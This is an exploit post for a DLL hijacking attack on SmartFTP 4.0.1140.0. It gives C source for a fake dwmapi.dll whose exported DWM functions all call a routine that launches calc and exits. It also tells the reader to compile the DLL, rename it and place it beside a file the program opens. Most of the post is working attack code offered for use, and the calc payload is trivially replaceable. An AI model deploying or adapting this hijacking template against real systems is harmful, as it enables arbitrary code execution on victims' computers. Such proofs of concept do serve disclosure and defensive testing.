===================================================

SmartFTP 4.0.1140.0 DLL Hijacking Exploit (dwmapi.dll)

===================================================



/*

#SmartFTP 4.0.1140.0 DLL Hijacking Exploit (dwmapi.dll)



#Author   :    anT!-Tr0J4n



#Greetz   :    Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends



#Email     :    D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com



#Software:    http://www.smartftp.com



#Version   :    4.0.1140.0



#Tested on:   Windows XP sp3



# Home    :    www.Dev-PoinT.com

=====================

How  TO use : Compile and rename to " dwmapi.dll " , create a file in the same dir with one of the following extensions.



check the result > Hack3d    



=====================        





#dwmapi.dll (code)

*/

 

#include <windows.h>

#define DLLIMPORT __declspec (dllexport)



DLLIMPORT void  DwmDefWindowProc() { evil(); }

DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }

DLLIMPORT void  DwmEnableComposition() { evil(); }

DLLIMPORT void  DwmEnableMMCSS() { evil(); }

DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }

DLLIMPORT void  DwmGetColorizationColor() { evil(); }

DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }

DLLIMPORT void  DwmGetWindowAttribute() { evil(); }

DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }

DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }

DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }

DLLIMPORT void  DwmRegisterThumbnail() { evil(); }

DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }

DLLIMPORT void  DwmSetPresentParameters() { evil(); }

DLLIMPORT void  DwmSetWindowAttribute() { evil(); }

DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }

DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }



int evil()

{

  WinExec("calc", 0);

  exit(0);

  return 0;

}